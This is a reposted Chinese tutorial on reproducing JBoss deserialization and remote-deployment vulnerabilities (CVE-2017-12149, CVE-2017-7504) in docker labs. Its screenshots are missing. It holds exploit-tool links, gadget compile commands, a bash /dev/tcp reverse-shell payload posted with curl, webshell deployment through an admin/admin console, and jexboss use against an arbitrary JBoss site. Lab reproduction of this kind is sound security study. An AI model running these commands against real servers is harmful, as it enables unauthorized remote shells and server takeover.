JBOSS漏洞匯總


JBOSS中間件漏洞總匯復現

JBoss JMXInvokerServlet 反序列化漏洞

漏洞復現

直接使用docker搭建的漏洞環境。

環境搭建完成后,直接使用工具檢測即可:工具下載地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

環境啟動以后,直接訪問http://you-ip:8080

 

 

 

 

  使用下載的工具進行檢測  java -jar DeserializeExploit.jar

 

 

 

 

  執行命令

 

 

 

 

  文件管理

 

 

 

 

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

參考鏈接:https://www.cnblogs.com/Hi-blog/p/7904443.html

漏洞背景

  該漏洞為 Java反序列化錯誤類型,存在於 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞。

漏洞復現

漏洞環境

靶機地址:192.168.10.144  服務端口:8080

測試機: 192.168.10.150

搭建好環境,訪問地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly

 

 

 

 

 

 

 

  響應碼500,證明漏洞存在。

    下載漏洞利用工具: http://scan.javasec.cn/java/JavaDeserH2HC.zip

 

 

 

 

    先編譯:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

 

   

   設置反彈的IP和端口

 

 

 

 

   這樣就會將序列化對象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令發送到Jboss服務地址。

   先在測試機運行nc命令,進入監聽模式:

  再打開另一個控制台,運行如下curl命令:

    反彈成功

 

 

 

 

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

前言

序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。Java中的ObjectOutputStream類的writeObject()方法可以實現序列化,ObjectInputStream類的readObject()方法用於反序列化。問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。

 

 

 

漏洞環境

此次環境嘗試用docker搭建。

靶機:

ip:192.168.10.144    操作系統:ubuntu18.0.4 LTS

攻擊機:

ip:192.168.10.150    操作系統:kali

一、環境搭建

  1.docker的安裝參考

    https://www.howtoing.com/ubuntu-docker

  2.安裝完docker后,直接拉取vulhub的源碼。

    https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504

  3.靶機啟動服務

    執行如下命令啟動JBoss AS 4.0.5

      docker-compose up -d

   4.環境啟動后,地址為http://192.168.112.132:8080/

 

 

 

 

漏洞復現

一、exp准備:

  用法:

 

 

 

 

二、exploit
  1) 選擇ExampleCommonsCollections1WithHashMap,編譯並生成序列化數據

 

 

 

 

     javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #編譯 

     java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.10.150/1234 0>&1"       #ser全稱serialize,序列化惡意數據至文件。   

 

     第一行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.class

     第二行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.ser

 

 

 

 

 2)發射:

   將該文件作為請求數據主體發送如下數據包:curl http://192.168.10.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser  # --data-binary 意為以二進制的方式post數據

 

 

   反彈成功

 

 

 

 

JBoss遠程部署漏洞

參考鏈接:https://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html

漏洞產生

后端未對用戶可控參數做嚴格的過濾。

漏洞危害

導致任意命令執行,入侵者可以利用此漏洞直接獲取webshell,進而對整個服務器進行控制。

漏洞復現

直接使用docker搭建的漏洞環境。

訪問:http://you-ip:8080/

 

 

 

 

   點擊,訪問后台 使用弱口令登陸(admin--admin)

 

 

 

 

   進入后台,如圖所示

 

 

 

 

   

找到如下圖所示的入口,點擊進入

 

 

 

 

找到這個入口

 

 

 

 

在輸入框中寫入war壓縮文件webshell的url地址,如上圖

點擊invoke執行界面獲得一個jsp的webshell,(沒有合適的jsp包)

 

使用kali復現

參考鏈接:https://blog.csdn.net/u011215939/article/details/79141624

所需工具:kallinux,jexboss,

獲取工具:打開kalilinux,在kali終端中輸入以下命令:

 

 下載完成

 

 

 

 

 運行 python jexboss.py

 

 

 

  檢驗是否能夠執行,可以執行就是如下:

 

 

 

 

  找一個jboos的網站,如圖所示

 

 

 

  將這個IP:8080復制到kalilinux中使用jexboss工具進行檢測;

 

 

 

 

  執行,工具會依次檢測一下項目,有漏洞就會顯示紅色的:VULNERABLE(易受攻擊的),工具就會根據找到容易受到攻擊的點,進行利用

 

 

 

 

  然后選擇yes,開始創建連接;

 

 

 

 

  返回信息顯示連接成功了;

 

 

 

 

  現在獲取了shell,開始執行shell命令了;返回的信息顯示,這是一個linux操作系統;

 

 

 

 

    執行幾條命令看看; root權限

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM